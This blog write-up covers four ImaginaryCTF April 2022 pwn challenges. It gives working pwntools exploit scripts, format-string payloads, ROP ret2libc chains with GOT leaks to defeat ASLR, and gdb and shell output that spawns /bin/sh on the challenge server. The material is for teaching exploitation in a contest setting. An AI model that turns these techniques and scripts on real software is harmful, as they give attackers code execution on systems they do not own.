ImaginaryCTF April 2022 Write-up (Pwn)

Hi everyone! This article is on ImaginaryCTF which is held every month. In this month’s pwn challenges, there is buffer overflow to overwrite local variable, format string attack (stack-based and heap-based) to overwrite a global variable, and ROP ret2libc using two GOT functions to leak libc used and bypass libc ASLR. All these challenges are using x64 programs. Let’s get started!

1. Challenges

  • Date
    • Buffer overflow 64-bits file to overwrite local variable with a string “/bin/sh\x00” to obtain a shell later.
  • Date2
    • Format string attack on 64-bits file to overwrite a global variable with a string “/bin/sh\x00” to obtain a shell later.
  • Date3
    • ROP is first used to leak libc used by the on 64-bits file and bypass libc’s ASLR protection before ROP with ret2libc is used to obtain a shell.
    • Intended way: Utilize system() in the ELF file and do an ROP chain where gets(.BSS+8) will take in our “/bin/sh\x00” input and system(.BSS+8) to give us a shell.
  • Date4
    • Format string attack on heap-based variable in the 64-bits file to overwrite a global variable with a string to obtain a shell later.

2. Date

2.1 Files provided

  • vuln (x64 ELF binary)

2.2 Overview

If we look at the main() in the decompiled code in IDA, we will see that we just need to take a look at main() where the vulnerability is at. We can see that “/usr/bin/date” is stored in the command buffer that is located after the s[8] buffer. The system() will be called to execute the “/usr/bin/date” binary.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+0h] [rbp-D0h] BYREF
  __int64 v5; // [rsp+8h] [rbp-C8h]
  __int64 v6; // [rsp+10h] [rbp-C0h]
  __int64 v7; // [rsp+18h] [rbp-B8h]
  __int64 v8; // [rsp+20h] [rbp-B0h]
  __int64 v9; // [rsp+28h] [rbp-A8h]
  __int64 v10; // [rsp+30h] [rbp-A0h]
  __int64 v11; // [rsp+38h] [rbp-98h]
  char command[14]; // [rsp+40h] [rbp-90h] BYREF
  __int16 v13; // [rsp+4Eh] [rbp-82h]
  __int64 v14; // [rsp+50h] [rbp-80h]
  __int64 v15; // [rsp+58h] [rbp-78h]
  __int64 v16; // [rsp+60h] [rbp-70h]
  __int64 v17; // [rsp+68h] [rbp-68h]
  __int64 v18; // [rsp+70h] [rbp-60h]
  __int64 v19; // [rsp+78h] [rbp-58h]
  __int64 v20; // [rsp+80h] [rbp-50h]
  __int64 v21; // [rsp+88h] [rbp-48h]
  __int64 v22; // [rsp+90h] [rbp-40h]
  __int64 v23; // [rsp+98h] [rbp-38h]
  __int64 v24; // [rsp+A0h] [rbp-30h]
  __int64 v25; // [rsp+A8h] [rbp-28h]
  __int64 v26; // [rsp+B0h] [rbp-20h]
  __int64 v27; // [rsp+B8h] [rbp-18h]
  unsigned __int64 v28; // [rsp+C8h] [rbp-8h]

  v28 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  strcpy(command, "/usr/bin/date");
  v13 = 0;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0LL;
  v21 = 0LL;
  v22 = 0LL;
  v23 = 0LL;
  v24 = 0LL;
  v25 = 0LL;
  v26 = 0LL;
  v27 = 0LL;
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("What's today's date?");
  fgets(s, 128, stdin);
  puts("no smh you are wrong the date is ");
  system(command);
  return 0;
}

2.3 Vulnerability

As we know that the buffer command is located 0xD0-0x90=0x40 (64) bytes after the s[8] buffer, and fgets() allow taking in of 128 bytes of input, this means we can do a buffer overflow (BoF) to overwrite the command buffer with “/bin/sh\x00” so that we will obtain a shell when system() runs it.

2.4 Craft exploit and get flag

With those knowledge, I crafted date_exploit.py using pwntools.

from pwn import *

r = remote("eth007.me", 42069)

s_to_command_overflow = b'A' * (0xD0 - 0x90)

payload = s_to_command_overflow + b'/bin/sh\x00'

r.sendlineafter(b'What\'s today\'s date?\n', payload)

r.interactive()

kali@kali~$ python3 date_exploit.py
[+] Opening connection to eth007.me on port 42069: Done
[*] '/home/kali/Desktop/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
no smh you are wrong the date is 
$ ls
flag.txt
run
$ cat flag.txt
ictf{cmd_injection_isnt_just_a_web_thing}

3. Date2

3.1 Files provided

  • vuln (x64 ELF binary)

3.2 Overview

We can see that the program will print our input and run the content of date_path using system().

We can see the date_path is actually an array containing the date’s binary path.

3.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./vuln           
[*] '/home/kali/Desktop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

3.4 Vulnerability

In line 11 of main(), we can see it is vulnerable to the format string attack. We will first need to locate the offset position of the buffer s which is 6 (in orange font).

kali@kali~$ chmod +x ./vuln
kali@kali~$ ./vuln
What's today's date?
AAAA %p %p %p %p %p %p %p %p 
AAAA 0x7ffbaa358a23 (nil) 0x7ffbaa27855e 0x7fffc8bb7c20 (nil) 0x2070252041414141 0x7025207025207025 0x2520702520702520 
????
no smh you are wrong the date is 
Tue Apr 26 01:21:48 PM EDT 2022

kali@kali~$ ./vuln
What's today's date?
AAAA%6$p
AAAA0x7024362541414141
????
no smh you are wrong the date is 
Tue Apr 26 01:24:00 PM EDT 2022

3.5 Craft exploit and get flag

Since we know that there is no ASLR/PIE, we can overwrite date_path’s content with the value of b”/bin/sh\x00″ using the format string attack so that a shell will be spawn instead. It is troublesome to manually write %n format string attack for x64 program, we can use pwntool’s fmtstr_payload() which will make our lives easier.

Below shows the date2_exploit.py I have crafted:

from pwn import *

context.update(arch="amd64", os="linux")

elf = ELF("./vuln")

r = remote("eth007.me", 42042)
# local testing
#r = process("./vuln")

r.sendline(fmtstr_payload(6, {elf.symbols['date_path'] : b'/bin/sh\x00'}))

r.interactive()

kali@kali~$ python3 date2_exploit.py
[*] '/home/kali/Desktop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to eth007.me on port 42042: Done
[*] Switching to interactive mode
What's today's date?
                                              \x03                                                 \x00    \xf0    \x00   %aaa\x80@@????
no smh you are wrong the date is 
$ ls
flag.txt
run
$ cat flag.txt
ictf{pwntools_fmtstr_payload_is_too_op}

4. Date3

4.1 Files provided

  • vuln (x64 ELF binary)

4.2 Overview

We can see that this time around, there is no local variable for us to overwrite. There is also no string format vulnerability for us to overwrite anything.

4.3 Security settings

We can see that we can possibly use buffer overflow for return-oriented programming (ROP) since there is no canary and NX (no stack execution) is enabled. If you are wondering what is NX, if NX is enabled, means the stack cannot execute shellcode.

kali@kali~$ ~/.local/bin/pwn checksec ./vuln
[*] '/home/kali/Desktop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

4.4 Vulnerability (Leak libc used and bypass libc ASLR)

Firstly, we can have to leak the libc used since there is no .SO file provided for us. We will also need to bypass libc’s ASLR too. A common method used is to use puts() to print out Global Offset Table (GOT) functions so that we can obtain what is the ASLR address of those libc functions. This way, we can leak what is the libc used and bypassed libc ASLR as well.

We can craft out the initial exploit to leak both the puts()‘s and the gets()‘s addresses in GOT so that we can bypass ASLR in libc as well as reveal what is the actual library used by the program. Two functions are leaked as it will allow the online libc database to match which is the possible libc database being used by the program. If only one leaked address is provided, there are still many possible libc database. After leaking the addresses, make sure we return back to the vulnerable function, main(), so that later we can do ret2libc to spawn a shell once we know what is the libc used by the program.

from pwn import *

context.arch = 'amd64'

r = remote("eth007.me", 42071)
elf = ELF("./vuln")

OFFSET_TO_RET = 0x100 + 0x8
padding = b'A' * OFFSET_TO_RET

########### setting up ROP to print/leak ASLR address of gets() in the libc of the server (bypass ASLR) ###########
rop_elf = ROP(elf)
# to print the leaked address in a new line
rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])
# puts() will be called and print the address stored in elf.got['puts']
rop_elf.call(elf.plt['puts'], [elf.got['puts']])
# puts() will be called and print the address stored in elf.got['gets']
rop_elf.call(elf.plt['puts'], [elf.got['gets']])
# for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes.
# Goes back to fill() so that we can setup our next ROP.
rop_elf.call(elf.symbols['main'])

# combine into usable payload
rop_get_libc_aslr_addr = padding + rop_elf.chain()
# see the alignment of the ROP exploit
log.info(rop_elf.dump())

r.sendlineafter(b'What\'s today\'s date?\n', rop_get_libc_aslr_addr)

# ignore b'no smh the date is\n'
r.recvuntil(b'\n')
# ignore the date sent to us
r.recvuntil(b'\n')
# ignore b'\n' printed by our ROP chain's puts("") as we wants to print in a new line to make it cleaner incase
# there are weird bytes sent to us affecting our leaked puts() GOT address
r.recvuntil(b'\n')

# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
# get the leaked address of ASLR gets() in libc in the server
leaked_addr_gets_libc = u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))
log.info("gets()'s address @ GOT: " + hex(leaked_addr_gets_libc))

r.interactive()

r.close()
kali@kali~$ python3 date3_exploit.py
[+] Opening connection to eth007.me on port 42071: Done
[*] '/home/kali/Desktop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './vuln'
[*] 0x0000:         0x401283 pop rdi; ret
    0x0008:         0x400040 [arg0] rdi = 4194368
    0x0010:         0x401074
    0x0018:         0x401283 pop rdi; ret
    0x0020:         0x404018 [arg0] rdi = got.puts
    0x0028:         0x401074
    0x0030:         0x401283 pop rdi; ret
    0x0038:         0x404028 [arg0] rdi = got.gets
    0x0040:         0x401074
    0x0048:         0x401196 0x401196()
[*] puts()'s address @ GOT: 0x7f1292903450
[*] gets()'s address @ GOT: 0x7f12929029a0

We can see that the puts()‘s address is 0x7f1292903450 and the gets()‘s address is 0x7f631bbeb9a0. A quick search in https://libc.rip/ by inputting the functions we leaked and their addresses will reveal to us that the libc used is libc6_2.31-0ubuntu9.7_amd64. We can download the libc file from the website and placed it in our Kali.

4.5 Craft payload & get flag

As a result, we can craft the remaining exploit to get the flag. We will need to set the base address of the libc due to ASLR so that it can align to the correct ASLR that is currently on the server.

Next, we can craft another ROP chain to execute system("/bin/sh"). We can use pwntool’s ROP() to search for the gadgets for us easily without the need for us to manually write a long payload for it. Finally, we will need to align the stack since it is an x64 program.

from pwn import *

context.arch = 'amd64'

r = remote("eth007.me", 42071)
elf = ELF("./vuln")

OFFSET_TO_RET = 0x100 + 0x8
padding = b'A' * OFFSET_TO_RET

########### setting up ROP to print/leak ASLR address of gets() in the libc of the server (bypass ASLR) ###########
rop_elf = ROP(elf)
# to print the leaked address in a new line
rop_elf.call(elf.plt['puts'], [next(elf.search(b""))])
# puts() will be called and print the address stored in elf.got['puts']
rop_elf.call(elf.plt['puts'], [elf.got['puts']])
# puts() will be called and print the address stored in elf.got['gets']
rop_elf.call(elf.plt['puts'], [elf.got['gets']])
# for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes.
# Goes back to fill() so that we can setup our next ROP.
rop_elf.call(elf.symbols['main'])

# combine into usable payload
rop_get_libc_aslr_addr = padding + rop_elf.chain()
# see the alignment of the ROP exploit
log.info(rop_elf.dump())

r.sendlineafter(b'What\'s today\'s date?\n', rop_get_libc_aslr_addr)

# ignore b'no smh the date is\n'
r.recvuntil(b'\n')
# ignore the date sent to us
r.recvuntil(b'\n')
# ignore b'\n' printed by our ROP chain's puts("") as we wants to print in a new line to make it cleaner incase
# there are weird bytes sent to us affecting our leaked puts() GOT address
r.recvuntil(b'\n')

# get the leaked address of ASLR puts() in libc in the server
leaked_addr_puts_libc = u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))
log.info("puts()'s address @ GOT: " + hex(leaked_addr_puts_libc))
# get the leaked address of ASLR gets() in libc in the server
leaked_addr_gets_libc = u64(r.recvuntil(b'\n').strip().ljust(8, b"\x00"))
log.info("gets()'s address @ GOT: " + hex(leaked_addr_gets_libc))


libc = ELF("./libc6_2.31-0ubuntu9.7_amd64.so")

# obtain the ASLR base addres of libc
libc.address = server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts']
log.info("Leaked server's libc base address: " + hex(libc.address))


########################## Obtain a shell ##########################
# Craft sys call to /bin/sh.
rop_libc = ROP(libc)
# for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes. Use print(rop_libc.dump()) to see the alignment
rop_libc.call((rop_libc.find_gadget(["ret"]))[0])
rop_libc.call(elf.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])

# combine into usable payload
rop_get_bash_payload = padding + rop_libc.chain()
log.info(rop_libc.dump())

r.sendlineafter(b'What\'s today\'s date?\n', rop_get_bash_payload)


r.interactive()

r.close()

kali@kali~$ python3 date3_exploit.py
[+] Opening connection to eth007.me on port 42071: Done
[*] '/home/kali/Desktop/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './vuln'
[*] 0x0000:         0x401283 pop rdi; ret
    0x0008:         0x400040 [arg0] rdi = 4194368
    0x0010:         0x401074
    0x0018:         0x401283 pop rdi; ret
    0x0020:         0x404018 [arg0] rdi = got.puts
    0x0028:         0x401074
    0x0030:         0x401283 pop rdi; ret
    0x0038:         0x404028 [arg0] rdi = got.gets
    0x0040:         0x401074
    0x0048:         0x401196 0x401196()
[*] puts()'s address @ GOT: 0x7f093bd8e450
[*] gets()'s address @ GOT: 0x7f093bd8d9a0
[*] '/home/kali/Desktop/libc6_2.31-0ubuntu9.7_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaked server's libc base address: 0x7f093bd0a000
[*] Loaded 195 cached gadgets for './libc6_2.31-0ubuntu9.7_amd64.so'
[*] 0x0000:   0x7f093bd2c679 0x7f093bd2c679()
    0x0008:   0x7f093bd2db72 pop rdi; ret
    0x0010:   0x7f093bebe5bd [arg0] rdi = 139677636748733
    0x0018:         0x401084
[*] Switching to interactive mode
no smh the date is
Thu Apr 28 17:41:12 UTC 2022
$ ls
flag.txt
run
$ cat flag.txt
ictf{r3turn_t0_sYst3m_0r_ret2l1bc}

If you are still unsure about ROP on Linux such as stack alignment, libc ASLR address leak, etc, you can refer to my ROP article here.

4.6 Official write-up method

After the CTF challenge has ended, I decided to look at the official write-up and noticed that I didn’t solve it using the intended way. The intended way is much smarter but situation-based. Below shows the official exploit. Since we have system() in the ELF binary, we just have to call gets() in our ROP chain to take in our input and write to a global variable (this case is an empty space in .BSS section at offset 8 of .BSS since it is global). The value we will input is “/bin/sh\x00” when prompted by our ROP’s gets(). The next ROP gadgets will be system() which will using an empty space in .BSS as its first argument which contains our “/bin/sh\x00”. This way, we don’t even need to leak the libc used and bypass libc’s ASLR.

from pwn import *
context.binary = elf = ELF("./vuln")
conn = remote("eth007.me", 42071)
rop = ROP(elf)
rop.gets(elf.bss(8))
rop.system(elf.bss(8))
conn.sendline(b"a"*264 + rop.chain())
conn.sendline("/bin/sh\x00")
conn.interactive()

5. Date4

 

I didn’t manage to solve this challenge hence I looked at the official PoC exploit after the challenge has ended. Decided to pen it down in this post so that I can reference it in the future as Format String attack via heap variable challenge is not common. Hope it will be helpful to you too.

5.1 Files provided

  • vuln (x64 ELF binary)

5.2 Overview

We can see that it is still a format string attack challenge where we will need to overwrite date_path‘s content again just like in “Date2” challenge. However, this time around the variable we are writing to is not a stack variable. This means the content we write to it such as “AAAA%p%p%p%p%p%p%p%p”. 0x41414141 will not appear on the stack.

5.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./vuln
[*] '/home/kali/Desktop/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

5.4 Official exploit PoC

Below shows the official exploit code. You can either use the exploit code below or copy and paste “%c%c%c%c%4210823c%ln%10216c%38$hn” directly when running the program. Either way will work it is the same as the latter are values generated from the Python PoC. Moreover, the file has ASLR/PIE disabled anyway. The addresses will remain the same.

from pwn import *
context.binary = elf = ELF("./vuln")
conn = remote("eth007.me", 42072)
#conn = elf.process()

# 6 --> 38
payload = "%c"*4
payload += "%{}c".format(elf.sym.date_path + 11 - 4) # /usr/bin/date --> /usr/bin/dash
payload += "%ln"
payload += "%{}c".format((u16(b"sh") - elf.sym.date_path - 11) % (2**16))
payload += "%38$hn"

print(payload)

conn.sendline(payload)
conn.sendline("echo hi")
conn.recvuntil("hi")
conn.interactive()

# manually will be: %c%c%c%c%4210823c%ln%10216c%38$hn
kali@kali~$ ./vuln
What's today's date?
%c%c%c%c%4210823c%ln%10216c%38$hn
...
no smh you are wrong the date is 
$ $ whoami
kali
$ 

5.5 Exploitation explanation

For a non-stack-based format string attack such as this heap-based challenge, there are three steps for arbitrary to date_path variable:

  1. Find a location/offset on the stack where a location/offset is pointing to another location/offset on the stack (This article by Aneesh Dogra has a good example).
  2. Write the targeted address (this case is date_path‘s address) to the offset.
  3. Finally, we can write to date_path just like normal stack-based format string arbitrary write.

“1.Find a location/offset on the stack where a location is pointing to another location/offset on the stack (This article by Aneesh Dogra has a good example).”

Looking at the official PoC, we can see that offset 6 (%6$p) is actually pointing to offset 38 (%38$p) in this challenge’s file. The image below shows an example of what I just meant. I randomly came up with the values. But you can see that the green box is at offset 6 and its content is pointing to the orange box at offset 38.

This way when we use %n at offset 6, the value we write to it will be written onto offset 38 instead due to:

printf("%c%c%c%c%4210823c%ln", 0x7FFFFFFFFF777EFF, 0x7FFFFFFF44440000, 0x0000000000000000, 0x000000000000001E, 0x000000000000FF00, 0x7FFEE5CB9D60)

Note that there are five %c before %n which will read the first five offsets. Thus, %n is writing to offset 6.

Let’s say we don’t know offset 6 points to offset 38, we will need to print out the stack using a format string and see which address is likely to point to a stack location that our format string can access in GDB as well as viewing the stack to see stack’s address. Below shows an example where I break at main(), see the stack’s address range and use format string to print out the first few addresses. Usually at the function vulnerable to format string, the top of the stack, which is the first variable, is actually the offset 6 as seen from format string result. We can see just nice offset 6 contains an address within the stack address range. Based on printing of the stack, we can see offset 6 is pointing to offset 38.

kali@kali~$ chmod +x ./vuln
kali@kali~$ gdb ./vuln
...
(gdb) b *0x40122C
(gdb) r
Starting program: /home/kali/Desktop/vuln 

Breakpoint 1, 0x000000000040122c in main ()
(gdb) x/100wx $rsp
0x7fffffffdf60: 0xffffe060      0x00007fff      0x004052a0      0x00000000
0x7fffffffdf70: 0x00000000      0x00000000      0xf7e0f7ed      0x00007fff
0x7fffffffdf80: 0xffffe068      0x00007fff      0xf7fca000      0x00000001
0x7fffffffdf90: 0x004011d6      0x00000000      0xffffe389      0x00007fff
0x7fffffffdfa0: 0x00401290      0x00000000      0x5faa781d      0xd336651b
0x7fffffffdfb0: 0x004010f0      0x00000000      0x00000000      0x00000000
0x7fffffffdfc0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdfd0: 0xe0aa781d      0x2cc99ae4      0xb0e6781d      0x2cc98ada
0x7fffffffdfe0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdff0: 0x00000000      0x00000000      0x00000001      0x00000000
0x7fffffffe000: 0xffffe068      0x00007fff      0xffffe078      0x00007fff
0x7fffffffe010: 0xf7ffe220      0x00007fff      0x00000000      0x00000000
0x7fffffffe020: 0x00000000      0x00000000      0x004010f0      0x00000000
0x7fffffffe030: 0xffffe060      0x00007fff      0x00000000      0x00000000
0x7fffffffe040: 0x00000000      0x00000000      0x0040111e      0x00000000
0x7fffffffe050: 0xffffe058      0x00007fff      0x0000001c      0x00000000
0x7fffffffe060: 0x00000001      0x00000000      0xffffe3a8      0x00007fff
0x7fffffffe070: 0x00000000      0x00000000      0xffffe3c0      0x00007fff
0x7fffffffe080: 0xffffe3cf      0x00007fff      0xffffe3e3      0x00007fff
0x7fffffffe090: 0xffffe406      0x00007fff      0xffffe43c      0x00007fff
0x7fffffffe0a0: 0xffffe45d      0x00007fff      0xffffe46a      0x00007fff
0x7fffffffe0b0: 0xffffe488      0x00007fff      0xffffe4a4      0x00007fff
0x7fffffffe0c0: 0xffffe4b8      0x00007fff      0xffffe4d4      0x00007fff
0x7fffffffe0d0: 0xffffe4e4      0x00007fff      0xffffe4f5      0x00007fff
0x7fffffffe0e0: 0xffffe4ff      0x00007fff      0xffffe50c      0x00007fff
(gdb) c
Continuing.
What's today's date?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p                                  
0x7ffff7fa5a23 (nil) 0x7ffff7ed5cae 0x4052a0 (nil) 0x7fffffffe060 0x4052a0 (nil) 0x7ffff7e0f7ed 0x7fffffffe068 0x1f7fca000 ????
no smh you are wrong the date is 
[Detaching after vfork from child process 1359]
Tue May  3 10:08:00 PM EDT 2022
[Inferior 1 (process 1358) exited normally]

 “2. Write the targeted address (this case is date_path‘s address) to the offset.”

Now we can write to date_path. We can choose to overwrite the whole content or just do some slight modification to the string. The author of the challenge’s write-up converted /usr/bin/date –> /usr/bin/dash. Hence at offset 11 of the string, “te” –> “sh”.

payload += "%{}c".format(elf.sym.date_path + 11 - 4) # /usr/bin/date --> /usr/bin/dash

Note that there is -4 due to the four %c at the start as we need %ln to access offset 6. Having “%4210827c%6$ln%10216c%38$hn” will not work as the first occurancing of $ will cause the rest of the positional arguments to be placed in args_value as shown in this article by Mem2019. This means that we will replaced the actual offset 38 content with 0x40408B but %38$hn will still be using the original value which is 0x1.

Won't work:
%4210827c%6$ln%10216c%38$hn
-------------------------- vs --------------------------
Work:
%c%c%c%c%4210823c%ln%10216c%38$hn

We can prove it using %38$p instead of %38$hn to see if the values have changed.

kali@kali~$ ./vuln
What's today's date?
%4210827c%6$ln%10216c%38$p
...
                  0x1
????
no smh you are wrong the date is 
Tue May  3 10:50:23 PM EDT 2022
-------------------------- vs --------------------------
kali@kali~$ ./vuln
What's today's date?
%c%c%c%c%4210823c%ln%10216c%38$p
...
                  �0x40408b
????
no smh you are wrong the date is 
Tue May  3 10:50:23 PM EDT 2022

Therefore, the PoC author used a total of five %c so that %ln will point to offset 6 and write 0x000000000040408b to it without the need to use $.

“3. Finally, we can write to date_path just like normal stack-based format string arbitrary write.”

This step is just like how we normally do arbitrary write in format string attack. We just need to calculate the number of characters we need to print so that the correct value will be written to %ln. This includes the number of characters generated from %c%c%c%c%4210823c so we need to -(elf.sym.date_path + 11). % (2**16) Will help us to contain within 2 bytes since the value will definitely overflow.

payload += "%{}c".format((u16(b"sh") - elf.sym.date_path - 11) % (2**16))

same as:
payload += "%{}c".format((u16(b"sh") - (elf.sym.date_path + 11) % (2**16))

As a result, we have %10216c%38$ln.

 I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.